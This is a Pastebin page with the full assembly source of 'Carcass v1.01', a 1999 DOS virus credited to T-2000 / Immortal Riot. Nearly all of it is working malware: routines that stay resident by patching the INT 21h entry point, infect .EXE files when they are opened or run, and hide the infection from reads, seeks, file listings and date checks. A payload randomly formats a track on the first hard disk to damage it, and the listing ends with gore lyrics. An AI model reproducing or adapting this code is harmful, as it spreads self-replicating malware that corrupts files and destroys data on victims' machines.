Advertisement
InfectedPacket

Carcass 1.01 Virus (1999)

Aug 7th, 2015
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;============================================================================
  2. ;
  3. ;
  4. ;      NAME: Carcass v1.01
  5. ;      TYPE: Full-stealth .EXE-infector.
  6. ;       CPU: 286+
  7. ;      SIZE: Around 1800 bytes.
  8. ;      DATE: September 1999 - December 1999.
  9. ;    AUTHOR: T-2000 / Immortal Riot.
  10. ;    E-MAIL: T2000_@hotmail.com
  11. ;
  12. ;  FEATURES:
  13. ;
  14. ;       - Full-stealth (network-compatible).
  15. ;       - Splices INT 21h.
  16. ;       - Tunnels INT 13h with signatures.
  17. ;       - Random track-mutilation.
  18. ;
  19. ; This was written for demonstration-purposes only, hence the lack of
  20. ; many things standard in the average virus. The virus goes resident by
  21. ; overwriting the INT 21h entrypoint with a JMP FAR to the actual virus-ISR.
  22. ; This works both in plain DOS and in Win9x DOS-boxes, as the virus will
  23. ; store it's TSR-code in an reserved section of the BIOS. I've seen very
  24. ; few virii that incorporate full-stealth *correctly*, so you may want to
  25. ; take a look at these routines. Furthermore this virus has size-stealth
  26. ; in Win9x DOS-boxes.
  27. ;
  28. ; Win9x-systems may become rather unstable, this is because we're messing
  29. ; with a shared kernel, and DOS doesn't provide us any multitasking functions
  30. ; (ie. semaphores, mutexes, etc), so be it..
  31. ;
  32. ;============================================================================
  33.  
  34.  
  35.                 .286
  36.                 .MODEL  TINY
  37.                 .STACK  1024
  38.                 .CODE
  39.  
  40.  
  41. Virus_Size      EQU     (Virus_End-START)
  42. Virus_Size_Mem  EQU     ((Virus_End_Mem-START)+15) / 16
  43. Century         EQU     (100 SHL 1)
  44.  
  45.  
  46. START:
  47.  
  48.                 PUSHF
  49.                 PUSHA
  50.                 PUSH    DS
  51.                 PUSH    ES
  52.  
  53.                 CALL    Get_IP
  54.  
  55. Copyright:      DB      '[Carcass] by T-2000 / Immortal Riot', 0
  56.  
  57. Get_IP:         POP     SI
  58.                 SUB     SI, (Copyright-START)
  59.  
  60.                 PUSH    CS
  61.                 POP     DS
  62.  
  63.                 MOV     AX, 0EF00h              ; Residency-check.
  64.                 MOV     DS, AX
  65.  
  66.                 JNC     Do_Int21h
  67.  
  68.                 DB      0EAh                    ; To avoid a TBAV-flag.
  69.  
  70. Do_Int21h:      INT     21h
  71.  
  72.                 INC     AX                      ; Already resident?
  73.                 JNZ     Check_BIOS
  74.  
  75.                 JMP     Jump_To_Host
  76.  
  77. Check_BIOS:     XOR     DI, DI
  78.  
  79.                 MOV     AL, DS:[DI]
  80.  
  81.                 INC     BYTE PTR DS:[DI]        ; Attempt to change a byte.
  82.  
  83.                 CMP     DS:[DI], AL             ; If it changed, it's no ROM.
  84.                 JNE     Copy_Virus_TSR
  85.  
  86.                 XOR     CX, CX
  87.  
  88. Attempt_Alloc:  MOV     AH, 48h                 ; Attempt to allocate memory
  89.                 MOV     BX, Virus_Size_Mem      ; the DOS way.
  90.                 INT     21h
  91.                 JNC     Hide_Virus_MCB
  92.  
  93.                 DEC     CX                      ; We're in a infinite loop?
  94.                 JNP     Jump_To_Host
  95.  
  96.                 MOV     AH, 4Ah                 ; Get amount of DOS-memory
  97.                 MOV     BX, CX                  ; in current block (ES).
  98.                 INT     21h
  99.  
  100.                 MOV     AH, 4Ah                 ; Resize it so there's space
  101.                 SUB     BX, Virus_Size_Mem + 1  ; for the virus.
  102.                 INT     21h
  103.                 JC      Jump_To_Host
  104.  
  105.                 JMP     Attempt_Alloc
  106.  
  107. Hide_Virus_MCB: PUSH    AX
  108.  
  109.                 DEC     AX                      ; Get MCB of allocated block.
  110.                 MOV     DS, AX
  111.  
  112.                 MOV     DS:[DI.MCB_PSP], 0008h  ; Mark it as a system-block.
  113.  
  114.                 POP     DS
  115.  
  116. Copy_Virus_TSR: PUSH    DS
  117.                 POP     ES
  118.  
  119.                 MOV     CX, Virus_Size          ; Copy the virus up to the
  120.                 CLD                             ; allocated memory.
  121.                 SEGCS
  122.                 REP     MOVSB
  123.  
  124.                 PUSH    ES                      ; Hop to our allocated code.
  125.                 PUSH    (Relocated-START)
  126.                 RETF
  127.  
  128. Relocated:      PUSH    CS
  129.                 POP     DS
  130.  
  131.                 MOV     WORD PTR INT_Entry_Bytes+3, CS
  132.  
  133.                 MOV     AX, 3521h               ; Grab INT 21h's address.
  134.                 INT     21h
  135.  
  136.                 MOV     Orig_Int21h, BX         ; Save it.
  137.                 MOV     Orig_Int21h+2, ES
  138.  
  139.                 CALL    Swap_JMP                ; Patch INT 21h's entrypoint.
  140.  
  141.                 IN      AX, 40h                 ; Get a random value.
  142.                 XCHG    BX, AX
  143.  
  144.                 IN      AX, 40h                 ; Get another random value.
  145.  
  146.                 ADD     BX, AX                  ; Randomize.
  147.                 JNS     Zero_Delta              ; Should we mutilate a
  148.                 JNP     Zero_Delta              ; random track on C: ?
  149.  
  150.                 PUSH    0F000h                  ; Standard INT 13h segment.
  151.                 POP     DS
  152.  
  153.                 XOR     SI, SI
  154.  
  155. Find_Int13h:    CMP     SI, 0FFF0h              ; Didn't find it?
  156.                 JA      Zero_Delta              ; Then abort the loop.
  157.  
  158.                 MOV     CS:Real_Int13h, SI      ; Store possible INT 13h.
  159.  
  160.                 LODSB                           ; Fetch next instruction.
  161.  
  162.                 CMP     AL, 0FBh                ; STI ?
  163.                 JNE     Find_Int13h
  164.  
  165.                 CMP     DS:[SI], 0FA80h         ; CMP DL, 80h ?
  166.                 JNE     Find_Int13h
  167.  
  168.                 IN      AX, 40h                 ; Randomize some more.
  169.                 XOR     AX, BX
  170.  
  171.                 XCHG    CX, AX                  ; Set random track & head.
  172.                 MOV     DH, CL
  173.  
  174.                 MOV     AH, 0Dh                 ; Reset first harddisk.
  175.                 MOV     DL, 80h
  176.                 CALL    Do_Real_Int13h
  177.  
  178. ; Random track-formatting is a very effective way of getting a harddisk to
  179. ; detoriate at high speed. Instead of destroying actual sector-data, it
  180. ; mutilates track-data. Afterwards, the mutilated track may or may not be
  181. ; correctly interpreted by the HDD-controller.
  182.  
  183.                 MOV     AH, 05h                 ; Format random track on it.
  184.                 CALL    Do_Real_Int13h
  185.  
  186. Zero_Delta:     XOR     SI, SI
  187.  
  188. Jump_To_Host:   POP     AX
  189.                 PUSH    AX
  190.                 ADD     AX, (256 / 16)
  191.  
  192.                 PUSH    CS
  193.                 POP     DS
  194.  
  195.                 LES     BX, [SI+(File_Header.Program_IP-START)]
  196.  
  197.                 MOV     CX, ES
  198.                 ADD     CX, AX
  199.  
  200.                 MOV     DS:[SI+(Host_CS-START)], CX
  201.                 MOV     DS:[SI+(Host_IP-START)], BX
  202.  
  203.                 LES     BX, [SI+(File_Header.Program_SS-START)]
  204.  
  205.                 ADD     BX, AX
  206.  
  207.                 MOV     DS:[SI+(Host_SS-START)], BX
  208.                 MOV     DS:[SI+(Host_SP-START)], ES
  209.  
  210.                 POP     ES                      ; Restore all registers.
  211.                 POP     DS
  212.                 POPA
  213.                 POPF
  214.  
  215.                 INT     03h                     ; Flush prefetcher.
  216.  
  217.                 PUSH    0DEADh                  ; Restore host's original
  218. Host_SS         =       WORD PTR $-2            ; stack.
  219.                 POP     SS
  220.                 MOV     SP, 0DEADh
  221. Host_SP         =       WORD PTR $-2
  222.  
  223.                 DB      0EAh                    ; Jump to the host.
  224. Host_IP         =       WORD PTR $+0
  225. Host_CS         =       WORD PTR $+2
  226.  
  227. File_Header:    DW      0
  228.                 DW      0
  229.                 DW      0
  230.                 DW      0
  231.                 DW      0
  232.                 DW      0
  233.                 DW      0
  234.                 DW      0
  235.                 DW      0
  236.                 DW      0
  237.                 DW      OFFSET Carrier
  238.                 DW      0
  239.  
  240.  
  241.         ; One could optimize the ISR even more by using CALL_Reg16's
  242.         ; (2 bytes), instead of CALL_Imm16's (3 bytes) when issueing
  243.         ; a Do_Old_Int21h.
  244.  
  245. Virus_Int21h:
  246.                 PUSHF
  247.  
  248.                 CMP     AX, 0EF00h              ; It's our residency-check?
  249.                 JNE     Check_If_Hook
  250.  
  251.                 POPF
  252.  
  253.                 MOV     AX, -1                  ; If so, return our marker.
  254.  
  255.                 IRET
  256.  
  257. Check_If_Hook:  CALL    Swap_JMP
  258.  
  259.                 CMP     AX, 4B01h               ; Load but not execute image?
  260.                 JNE     Test_For_5700h
  261.  
  262. Stealth_Load:   POPF
  263.  
  264.                 MOV     CS:Saved_BX, BX         ; Save BX but keep the stack.
  265.  
  266.                 CALL    Do_Old_Int21h           ; Call the function.
  267.  
  268.                 PUSHF                           ; Save all registers.
  269.                 PUSHA
  270.                 PUSH    DS
  271.                 PUSH    ES
  272.                 JC      Exit_St_Load            ; Bail on error.
  273.  
  274.                 MOV     AH, 62h                 ; Get it's PSP.
  275.                 CALL    Do_Old_Int21h
  276.  
  277.                 LEA     AX, [BX+(256/16)]       ; AX = effective segment.
  278.  
  279.                 MOV     BX, 0DEADh              ; Get the old BX.
  280. Saved_BX        =       WORD PTR $-2
  281.  
  282.                 LDS     SI, ES:[BX+12h]         ; Grab it's CS:IP.
  283.  
  284.                 ; Is it actually infected?
  285.  
  286.                 MOV     CX, 'ZM'
  287.  
  288.                 CMP     DS:[SI+(File_Header.EXE_ID-START)], CX
  289.                 JNE     Exit_St_Load
  290.  
  291.                 PUSH    ES
  292.  
  293.                 ; Get program's original CS:IP.
  294.  
  295.                 LES     DI, DWORD PTR DS:[SI+(File_Header.Program_IP-START)]
  296.  
  297.                 MOV     CX, ES                  ; Calculate loaded CS by
  298.                 ADD     CX, AX                  ; adding effective segment.
  299.  
  300.                 ; Get program's original SS:SP.
  301.  
  302.                 LES     DX, DWORD PTR DS:[SI+(File_Header.Program_SS-START)]
  303.  
  304.                 POP     DS
  305.  
  306.                 MOV     DS:[BX+12h], DI         ; Restore original CS:IP
  307.                 MOV     DS:[BX+12h+2], CX       ; in the parameter-block.
  308.  
  309.                 MOV     DI, ES
  310.  
  311.                 ADD     DX, AX
  312.                 MOV     ES, DX
  313.  
  314.                 DEC     DI                      ; Simulate a PUSH.
  315.                 DEC     DI
  316.  
  317.                 PUSH    DS:[BX+0Eh]
  318.                 PUSH    DS:[BX+0Eh+2]
  319.  
  320.                 MOV     DS:[BX+0Eh], DI         ; Restore original SS:SP
  321.                 MOV     DS:[BX+0Eh+2], ES       ; in the parameter-block.
  322.  
  323.                 POP     DS
  324.                 POP     SI
  325.  
  326.                 LODSW                           ; Fix AX in the stack.
  327.                 STOSW
  328.  
  329. Exit_St_Load:   POP     ES
  330.  
  331.                 JMP     Exit_LFN_St
  332.  
  333. Test_For_5700h: CMP     AX, 5700h               ; Get filedate & time?
  334.                 JNE     Test_For_714xh
  335.  
  336. Stealth_Date:   POPF
  337.  
  338.                 CALL    Do_Old_Int21h           ; Call the function.
  339.  
  340.                 PUSHF
  341.                 JC      Exit_St_Date            ; Bail out if error.
  342.  
  343.                 CMP     DH, Century             ; This date is infected?
  344.                 JB      Exit_St_Date            ; If not, bail out.
  345.  
  346.                 SUB     DH, Century             ; Restore original date.
  347.  
  348. Exit_St_Date:   JMP     POPF_Swap_Exit
  349.  
  350. Test_For_714xh: CMP     AX, 714Eh               ; Findfirst (LFN) ?
  351.                 JB      Test_For_4202h
  352.  
  353.                 CMP     AX, 714Fh               ; Findnext (LFN) ?
  354.                 JA      Test_For_4202h
  355.  
  356.         ; One can safely use 386 instructions in this routine,
  357.         ; as it only get's called under Win9x, which requires
  358.         ; atleast a 386+ system anyway.
  359.  
  360.                 .386
  361.  
  362. Stealth_Size_LFN:
  363.  
  364.                 POPF
  365.  
  366.                 CALL    Do_Old_Int21h
  367.  
  368.                 PUSHF                           ; Safe the regs we're gonna
  369.                 PUSHA                           ; change.
  370.                 PUSH    DS
  371.                 JC      Exit_LFN_St             ; Error? then bail out.
  372.  
  373.                 PUSH    ES                      ; DS=ES.
  374.                 POP     DS
  375.  
  376.                 ; Get possible DOS datestamp.
  377.  
  378.                 MOV     DH, BYTE PTR DS:[DI.Win32_Date+1]
  379.  
  380.                 DEC     SI                      ; Date/time fields are in
  381.                 JZ      Check_Stamp             ; DOS-format?
  382.  
  383.                 PUSH    SI
  384.  
  385.                 MOV     AX, 71A7h               ; If not, we need to convert
  386.                 XOR     BL, BL                  ; them to DOS-format.
  387.                 LEA     SI, DS:[DI.Win32_Time]
  388.                 CALL    Do_Old_Int21h
  389.  
  390.                 POP     SI
  391.  
  392. Check_Stamp:    SUB     DH, Century             ; Get original year-count.
  393.                 JB      Exit_LFN_St             ; Below 2080 ?
  394.  
  395.                 ; Restore the original filesize.
  396.  
  397.                 SUB     DS:[DI.Win32_Size_Low], LARGE Virus_Size
  398.                 SBB     DS:[DI.Win32_Size_High], 0
  399.  
  400.                 INC     SI                      ; Date/time is in DOS-format?
  401.                 JNZ     Store_DOS_Date
  402.  
  403.                 MOV     AX, 71A7h               ; Convert date/time-stamp
  404.                 INC     BX                      ; with the restored years-
  405.                 LEA     DI, DS:[DI.Win32_Time]  ; count to Win32-format.
  406.                 CALL    Do_Old_Int21h
  407.  
  408.                 JMP     Exit_LFN_St
  409.  
  410. Store_DOS_Date: MOV     BYTE PTR DS:[DI.Win32_Date+1], DH
  411.  
  412. Exit_LFN_St:    POP     DS
  413.                 POPA
  414. POPF_Swap_Exit: POPF
  415.  
  416.                 CALL    Swap_JMP
  417.  
  418.                 RETF    2                       ; And back to the caller.
  419.  
  420.                 ; Just don't forget to switch back to
  421.                 ; whatever mode you were using before.
  422.  
  423.                 .286
  424.  
  425. Test_For_4202h: CMP     AX, 4202h               ; Seek EOF-relative?
  426.                 JNE     Test_For_3Fh
  427.  
  428. Stealth_Seek:   PUSHA
  429.  
  430.                 PUSHA
  431.  
  432.                 CALL    Check_Date              ; Is it infected?
  433.  
  434.                 POPA
  435.  
  436.                 JB      Do_St_Seek
  437.  
  438.                 SUB     DX, Virus_Size          ; Seek relative to the
  439.                 SBB     CX, 0                   ; original file-end.
  440. Do_St_Seek:     CALL    Do_Old_Int21h
  441.  
  442.                 CALL    Set_Stack_Regs          ; Store DX:AX & flags.
  443.  
  444. Exit_St_Seek:   POPA
  445.                 POPF
  446.  
  447.                 CALL    Swap_JMP
  448.  
  449.                 IRET
  450.  
  451. Test_For_3Fh:   PUSHA
  452.  
  453.                 XCHG    AL, AH
  454.  
  455.                 CMP     AL, 3Fh                 ; Read?
  456.                 JNE     Test_For_3Dh
  457.  
  458. Stealth_Read:   MOV     BP, CX                  ; Save #bytes to read in BP.
  459.                 MOV     CS:Buffer_Offset, DX    ; Save readbuffer.
  460.  
  461.                 PUSH    AX
  462.                 CALL    Check_Date              ; Is this handle infected?
  463.                 POP     AX
  464.                 JC      Test_For_3Dh
  465.  
  466.                 CALL    Save_File_Pos
  467.  
  468.                 PUSH    AX
  469.                 PUSH    DX
  470.  
  471.                 ADD     AX, BP
  472.                 ADC     DX, CX
  473.  
  474.                 XCHG    SI, AX                  ; DI:SI = endposition after
  475.                 MOV     DI, DX                  ; the read.
  476.  
  477.                 CALL    Seek_EOF
  478.  
  479.                 PUSHA
  480.  
  481.                 CALL    Restore_File_Pos
  482.  
  483.                 POPA
  484.  
  485.                 SUB     AX, Virus_Size          ; DX:AX = uninfected size.
  486.                 SBB     DX, CX
  487.  
  488.                 CMP     DI, DX
  489.                 JB      Perform_Read
  490.                 JA      Redirect_Read
  491.  
  492.                 CMP     SI, AX
  493.                 JNA     Perform_Read
  494.  
  495. Redirect_Read:  SUB     AX, CS:File_Pos_Low
  496.                 SBB     DX, CS:File_Pos_High
  497.                 JC      St_Set_Buffer
  498.  
  499.                 XCHG    BP, AX
  500.  
  501. Perform_Read:   MOV     CX, BP
  502. St_Set_Buffer:  MOV     DX, 0
  503. Buffer_Offset   =       WORD PTR $-2
  504.                 CALL    Read_File
  505.  
  506.                 POP     DI
  507.                 POP     SI
  508.  
  509.                 CALL    Set_Stack_Regs
  510.  
  511.                 XCHG    CX, AX                  ; Zero bytes were read?
  512.                 JCXZ    Exit_Read               ; Then skip further stealth.
  513.  
  514.                 PUSH    CX
  515.  
  516.                 CALL    Save_File_Pos
  517.  
  518.                 DEC     CX
  519.                 LEA     DX, [-(Virus_End-File_Header)+SI]
  520.                 CALL    Seek_EOF_Rel
  521.  
  522.                 POP     AX
  523.  
  524.                 MOV     CX, 24
  525.  
  526.                 OR      DI, DI                  ; Read was from 1st 64k ?
  527.                 JNZ     Rest_Pos_Exit
  528.  
  529.                 CMP     SI, CX                  ; Read was from the header?
  530.                 JNB     Rest_Pos_Exit
  531.  
  532.                 ADD     AX, SI                  ; Get end-position of read.
  533.                 JC      Read_Clean_Hdr          ; Carry? then we're over 64k.
  534.  
  535.                 CMP     AX, CX                  ; Less than 24 bytes read?
  536.                 JNB     Read_Clean_Hdr
  537.  
  538.                 XCHG    CX, AX                  ; Then adjust count.
  539.  
  540. Read_Clean_Hdr: SUB     CX, SI                  ; Number of bytes to re-read.
  541.                 MOV     DX, CS:Buffer_Offset
  542.                 CALL    Read_File
  543.  
  544. Rest_Pos_Exit:  CALL    Restore_File_Pos
  545.  
  546. Exit_Read:      JMP     Exit_St_Seek
  547.  
  548. Test_For_3Dh:   CMP     AL, 3Dh                 ; Open?
  549.                 JE      Infect_File
  550.  
  551. Test_For_4B00h: CMP     AX, 004Bh               ; Program execute?
  552.                 JE      Infect_File
  553.  
  554. Test_For_40h:   CMP     AL, 40h                 ; Write?
  555.                 JNE     JMP_Old_Int21h
  556.  
  557. Clean_Handle:   CALL    Check_Date              ; Check if it's infected.
  558.                 JC      JMP_Old_Int21h
  559.  
  560.                 PUSH    DS
  561.  
  562.                 PUSH    CS
  563.                 POP     DS
  564.  
  565.                 PUSH    CX                      ; Save it's file-date & time.
  566.                 PUSH    DX
  567.  
  568.                 CALL    Save_File_Pos
  569.  
  570.                 DEC     CX                      ; Seek to original header.
  571.                 MOV     DX, -(Virus_End-File_Header)
  572.                 CALL    Seek_EOF_Rel
  573.  
  574.                 MOV     CX, 24                  ; Read the original header
  575.                 MOV     DX, OFFSET File_Header  ; located in the viruscode.
  576.                 CALL    Read_File
  577.  
  578.                 MOV     CX, -1                  ; Seek to the original EOF.
  579.                 MOV     DX, -Virus_Size
  580.                 CALL    Seek_EOF_Rel
  581.  
  582.                 INC     CX                      ; Truncate file at current
  583.                 CALL    Write_File              ; position.
  584.  
  585.                 CALL    Seek_BOF
  586.  
  587.                 MOV     CL, 24                  ; Write the original header
  588.                 MOV     DX, OFFSET File_Header  ; back to the file.
  589.                 CALL    Write_File
  590.  
  591.                 CALL    Restore_File_Pos
  592.  
  593.                 PUSH    5701h                   ; Restore original date.
  594.                 POP     AX
  595.                 POP     DX
  596.                 POP     CX
  597.                 CALL    Do_Old_Int21h
  598.  
  599.                 POP     DS
  600.  
  601. JMP_Old_Int21h: PUSH    DS
  602.                 PUSH    ES
  603.  
  604.                 MOV     AX, 3501h               ; Grab INT 01h's address.
  605.                 CALL    Do_Old_Int21h
  606.  
  607.                 PUSH    CS
  608.                 POP     DS
  609.  
  610.                 MOV     Orig_Int_01h, BX        ; Save it.
  611.                 MOV     Orig_Int_01h+2, ES
  612.  
  613.                 MOV     AH, 25h                 ; Install our own handler.
  614.                 MOV     DX, OFFSET Tracer
  615.                 CALL    Do_Old_Int21h
  616.  
  617.                 PUSHF
  618.                 POP     AX
  619.  
  620.                 OR      AH, 00000001b           ; Set the TF.
  621.  
  622.                 PUSH    AX
  623.                 POPF
  624.  
  625.                 POP     ES                      ; Restore original registers.
  626.                 POP     DS
  627.                 POPA
  628.                 POPF
  629.  
  630.                 DB      0EAh                    ; JMP xxxx:xxxx opcode.
  631. Orig_Int21h     DW      0, 0
  632.  
  633.  
  634. Infect_File:
  635.                 PUSH    DS
  636.                 PUSH    ES
  637.  
  638.                 MOV     AX, 3D02h               ; Open the candidate file.
  639.                 CALL    Do_Old_Int21h
  640.                 JNC     Read_Header
  641.  
  642.                 JMP     Exit_Infect
  643.  
  644. Read_Header:    PUSH    CS
  645.                 POP     DS
  646.  
  647.                 PUSH    CS
  648.                 POP     ES
  649.  
  650.                 XCHG    BX, AX
  651.  
  652.                 MOV     SI, OFFSET File_Header
  653.  
  654.                 MOV     CX, 24                  ; Read file's header.
  655.                 MOV     DX, SI
  656.                 CALL    Read_File
  657.                 JC      JMP_Close_File
  658.  
  659.                 CMP     AX, CX                  ; Able to read it entirely?
  660.                 JNE     JMP_Close_File
  661.  
  662.                 MOV     AX, 'ZM'
  663.  
  664.                 CMP     [SI.EXE_ID], AX         ; Verify it's an .EXE-file.
  665.                 JNE     JMP_Close_File
  666.  
  667.                 CMP     [SI.Checksum], CX       ; Is it already infected?
  668.                 JE      JMP_Close_File
  669.  
  670.                 CALL    Seek_EOF
  671.  
  672.                 DEC     DX                      ; File is larger than 64k ?
  673.                 JNS     Save_Stamp
  674.  
  675.                 CMP     AX, 666                 ; Must be atleast 666 bytes.
  676.                 JNB     Save_Stamp
  677.  
  678. JMP_Close_File: JMP     Close_File
  679.  
  680. Save_Stamp:     CALL    Check_Date              ; Obtain it's date & time.
  681.  
  682.                 PUSH    CX
  683.                 PUSH    DX
  684.  
  685.                 MOV     AX, [SI.Header_Size_PG] ; Calculate it's headersize
  686.                 MOV     CX, 16                  ; in bytes.
  687.                 MUL     CX
  688.  
  689.                 XCHG    BP, AX                  ; DI:BP = headersize.
  690.                 MOV     DI, DX
  691.  
  692.                 CALL    Seek_EOF
  693.  
  694.                 PUSHA
  695.  
  696.                 MOV     CX, Virus_Size          ; Append virusbody to the
  697.                 XOR     DX, DX                  ; host.
  698.                 CALL    Write_File
  699.  
  700.                 POPA
  701.  
  702.                 SUB     AX, BP                  ; Calculate imagesize.
  703.                 SBB     DX, DI
  704.  
  705.                 MOV     CX, 16                  ; Calculate virus' CS:IP.
  706.                 DIV     CX
  707.  
  708.                 MOV     [SI.Program_CS], AX     ; Set new CS:IP.
  709.                 MOV     [SI.Program_IP], DX
  710.  
  711.                 ADD     AX, ((Virus_Size + 15) / 16)
  712.  
  713.                 MOV     [SI.Program_SS], AX     ; Set new SS:SP.
  714.                 MOV     [SI.Program_SP], 1024
  715.  
  716.                 CALL    Seek_EOF
  717.  
  718.                 MOV     CH, (512 SHR 8)
  719.  
  720.                 PUSHA
  721.  
  722.                 DIV     CX
  723.  
  724.                 DEC     DX
  725.                 JS      Store_Pages
  726.  
  727.                 INC     AX
  728.  
  729. Store_Pages:    MOV     [SI.File_512_Pages], AX
  730.  
  731.                 MOV     AX, Virus_Size_Mem
  732.  
  733. Fix_Min_Mem:    ADD     [SI.Min_Size_Mem], AX   ; Update MinMem requirements.
  734.                 JNC     Fix_Max_Mem             ; Did it overflow?
  735.  
  736.                 SUB     [SI.Min_Size_Mem], AX   ; Then just use old value.
  737.  
  738. Fix_Max_Mem:    ADD     [SI.Max_Size_Mem], AX   ; Update MaxMem requirements.
  739.                 JNC     Calc_Mod_512            ; Did it overflow?
  740.  
  741.                 SUB     [SI.Max_Size_Mem], AX   ; Then just use old value.
  742.  
  743. Calc_Mod_512:   POPA
  744.  
  745.                 SUB     AX, BP
  746.                 SBB     DX, DI
  747.  
  748.                 DIV     CX
  749.  
  750.                 MOV     [SI.Image_Mod_512], DX
  751.  
  752.                 CALL    Seek_BOF
  753.  
  754.                 MOV     CL, 24
  755.  
  756.                 MOV     [SI.Checksum], CX       ; Infection-tag.
  757.  
  758.                 MOV     DX, SI                  ; Write back updated header.
  759.                 CALL    Write_File
  760.  
  761. Restore_Stamp:  PUSH    5701h                   ; Restore infected stamp.
  762.                 POP     AX
  763.                 POP     DX
  764.                 POP     CX
  765.                 ADD     DH, Century
  766.                 CALL    Do_Old_Int21h
  767.  
  768. Close_File:     MOV     AH, 3Eh                 ; Close the file (duh).
  769.                 CALL    Do_Old_Int21h
  770.  
  771. Exit_Infect:    POP     ES
  772.                 POP     DS
  773.  
  774.                 JMP     JMP_Old_Int21h
  775.  
  776.  
  777. Read_File:
  778.                 MOV     AH, 3Fh
  779.  
  780.                 CMP     AX, 0
  781.                 ORG     $-2
  782.  
  783. Write_File:     MOV     AH, 40h
  784.                 JMP     Do_Old_Int21h
  785.  
  786. Seek_BOF:
  787.                 XOR     AL, AL
  788.  
  789.                 CMP     AX, 0
  790.                 ORG     $-2
  791.  
  792. Seek_EOF:       MOV     AL, 02h
  793.  
  794.                 MOV     AH, 42h
  795.  
  796. Z_CX_DX_Int21h: XOR     CX, CX
  797.                 CWD
  798.  
  799. Do_Old_Int21h:  PUSHF
  800.                 CALL    DWORD PTR CS:Orig_Int21h
  801.  
  802.                 RETN
  803.  
  804.  
  805. Seek_EOF_Rel:
  806.                 MOV     AX, 4202h
  807.                 JMP     Do_Old_Int21h
  808.  
  809.  
  810. Save_File_Pos:
  811.                 MOV     AX, 4201h
  812.                 CALL    Z_CX_DX_Int21h
  813.  
  814.                 MOV     CS:File_Pos_Low, AX
  815.                 MOV     CS:File_Pos_High, DX
  816.  
  817.                 RETN
  818.  
  819.  
  820. Restore_File_Pos:
  821.  
  822.                 MOV     AX, 4200h
  823.                 MOV     CX, 0
  824. File_Pos_High   =       WORD PTR $-2
  825.                 MOV     DX, 0
  826. File_Pos_Low    =       WORD PTR $-2
  827.                 JMP     Do_Old_Int21h
  828.  
  829.  
  830. Check_Date:
  831.                 MOV     AX, 5700h
  832.                 CALL    Do_Old_Int21h
  833.                 JC      Exit_Chk_Date
  834.  
  835.                 CMP     DH, Century
  836.  
  837. Exit_Chk_Date:  RETN
  838.  
  839.  
  840. Set_Stack_Regs:
  841.                 MOV     BP, SP
  842.  
  843.                 PUSHF
  844.                 POP     [BP+(1*2)+(11*2)]
  845.  
  846.                 MOV     [BP+(1*2)+(7*2)], AX
  847.                 MOV     [BP+(1*2)+(5*2)], DX
  848.  
  849.                 RETN
  850.  
  851.  
  852. Do_Real_Int13h:
  853.                 PUSHF
  854.                 DB      9Ah                     ; CALL xxxx:xxxx opcode.
  855. Real_Int13h     DW      0, 0F000h
  856.  
  857.                 RETN
  858.  
  859.  
  860. Swap_JMP:
  861.                 PUSHF
  862.                 PUSHA
  863.                 PUSH    DS
  864.                 PUSH    ES
  865.  
  866.                 PUSH    CS
  867.                 POP     ES
  868.  
  869.                 LDS     SI, DWORD PTR CS:Orig_Int21h
  870.                 MOV     DI, (INT_Entry_Bytes-START)
  871.  
  872.                 MOV     CX, 5                   ; Five bytes to swap.
  873.  
  874.                 CLD
  875.  
  876.                 CLI
  877.  
  878. Swap_Byte:      MOV     AL, ES:[DI]
  879.                 XCHG    AL, DS:[SI]
  880.  
  881.                 STOSB
  882.  
  883.                 INC     SI
  884.  
  885.                 LOOP    Swap_Byte
  886.  
  887.                 POP     ES
  888.                 POP     DS
  889.                 POPA
  890.                 POPF
  891.  
  892.                 RETN
  893.  
  894.  
  895. Tracer:
  896.                 PUSHA
  897.                 PUSH    DS
  898.  
  899.                 MOV     BP, SP
  900.  
  901.                 LDS     SI, [BP+(9*2)]          ; Grab CS:IP from the stack.
  902.  
  903.                 CMP     BYTE PTR DS:[SI], 9Dh   ; Next instruction is POPF ?
  904.                 JNE     Check_Segment
  905.  
  906.                 ; Set TF in the pushed flags on the stack.
  907.  
  908.                 OR      BYTE PTR [BP+(9*2)+(3*2)+1], 00000001b
  909.  
  910. Check_Segment:  MOV     AX, DS
  911.                 MOV     BX, CS
  912.  
  913.                 CMP     AX, BX                  ; Don't do any checks while
  914.                 JE      Exit_Tracer             ; we're still in our own CS.
  915.  
  916.                 PUSH    CS
  917.                 POP     DS
  918.  
  919.                 MOV     CX, 16                  ; Calculate the linear CS
  920.                 MUL     CX                      ; address.
  921.  
  922.                 XOR     BX, BX
  923.  
  924.                 ADD     AX, SI                  ; And add IP afterwards.
  925.                 ADC     DX, BX
  926.  
  927.                 XCHG    SI, AX                  ; DI:SI = linear address of
  928.                 MOV     DI, DX                  ; next instruction.
  929.  
  930.                 MOV     AX, Orig_Int21h+2       ; Calculate linear CS address
  931.                 MUL     CX                      ; of the original INT 21h.
  932.  
  933.                 ADD     AX, Orig_Int21h         ; DX:AX = linear address of
  934.                 ADC     DX, BX                  ; the original INT 21h.
  935.  
  936.                 CMP     DI, DX                  ; Check if we're below the
  937.                 JB      Re_Swap_JMP             ; patch-bytes. If so, shove
  938.                 JA      Check_If_Over           ; the JMP back in.
  939.  
  940.                 CMP     SI, AX
  941.                 JB      Re_Swap_JMP
  942.  
  943. Check_If_Over:  ADD     AX, 5
  944.                 ADC     DX, BX
  945.  
  946.                 CMP     DI, DX                  ; Check if we're above the
  947.                 JA      Re_Swap_JMP             ; patch-bytes.
  948.  
  949.                 CMP     SI, AX
  950.                 JB      Exit_Tracer
  951.  
  952. Re_Swap_JMP:    MOV     AX, 2501h               ; Restore original INT 01h.
  953.                 LDS     DX, DWORD PTR Orig_Int_01h
  954.                 CALL    Do_Old_Int21h
  955.  
  956.                 CALL    Swap_JMP                ; Put JMP back in.
  957.  
  958.                 ; Disable TF in the stack.
  959.  
  960.                 AND     BYTE PTR [BP+(9*2)+(2*2)+1], NOT 00000001b
  961.  
  962. Exit_Tracer:    POP     DS
  963.                 POPA
  964.  
  965.                 IRET
  966.  
  967.  
  968. Message DB      'Your pulverised torso languishes in it''s pool of pus', 0Dh
  969.         DB      'Minced, cancerous viscera - gore seeps from the guts', 0Dh
  970.         DB      'My fetid fetish is to excavate the moulding rot', 0Dh
  971.         DB      'I drool my gastric juices as I chomp on your blood-clots', 0Dh
  972.         DB      'Fermenting innards, bubbling with rot', 0Dh
  973.         DB      'Alcoholic pus, dissolves the wooden box', 0Dh
  974.         DB      'I gouge into the chest''s cavity to rip out the intestines', 0Dh
  975.         DB      'Slivering soft entrails to release the foaming secretions', 0Dh
